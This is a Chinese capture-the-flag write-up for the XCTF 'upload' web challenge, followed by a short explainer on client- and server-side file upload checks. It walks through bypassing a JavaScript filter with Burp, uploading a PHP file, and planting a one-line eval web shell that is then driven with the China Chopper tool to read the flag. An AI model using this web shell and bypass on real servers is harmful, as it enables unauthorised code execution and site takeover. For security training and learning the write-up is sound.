XCTF攻防世界web进阶练习—upload
题目
题目为updoad,是上传的意思,应该是文件上传相关题目
打开题目,不出意料,要求上传文件。
这里先试着随便上传一个php文件,试试水
弹出一个弹窗,提示要求上传一个图片
注意:这里是弹窗提示,所以考虑是js过滤。
所以传入一个内容为php,后缀为jpg文件上传,用burp抓包
将filename改为pino.php,内容为phpinfo()
go! 成功上传!并返回了上传位置为upload/1556697521.pino.php
去到upload/1556697521.pino.php
看看
看来成功上传并执行了php中的内容。
接下来上传简单的一句话,并将上传文件名字改为abc.php
<?php @eval($_POST['chopper']);?>
依旧成功上传,路径为upload/1556698010.abc.php
接下来用菜刀连接
成功连接!
直接打开flag.php即可获得flag!!
关于上传绕过
文件上传漏洞是web安全中经常利用到的一种漏洞形式。一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,再通过url去访问以执行代码,达到不可描述的目的。
但在一些安全性较高的web应用中,往往会有各种上传限制和过滤,导致我们无法上传特定的文件。
这些验证可以分为客户端验证和服务器端验证
客户端验证
客户端验证主要是通过js来进行验证,对于这类验证方法,我们可以通过先将文件更改为它能够通过的类型或内容,然后再burpsuite抓包改包即可绕过
服务器端验证
服务器端的验证主要分为对文件名的检验和对文件内容的检验
对文件名的检验
服务器对文件名的检验就是检查上传文件的后缀名,若有非法的后缀名就将其拦截。这类检验可以分为白名单检验和黑名单检验。
白名单检验就是只有服务器名单上的后缀名才能够上传。
黑名单检验就是在黑名单中的文件后缀不能上传。
想要了解更多可以参考:
https://thief.one/2016/09/22/上传木马姿势汇总
https://www.cnblogs.com/ssooking/articles/6567912.html
http://byd.dropsec.xyz/2017/02/21/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0-%E7%BB%95%E8%BF%87/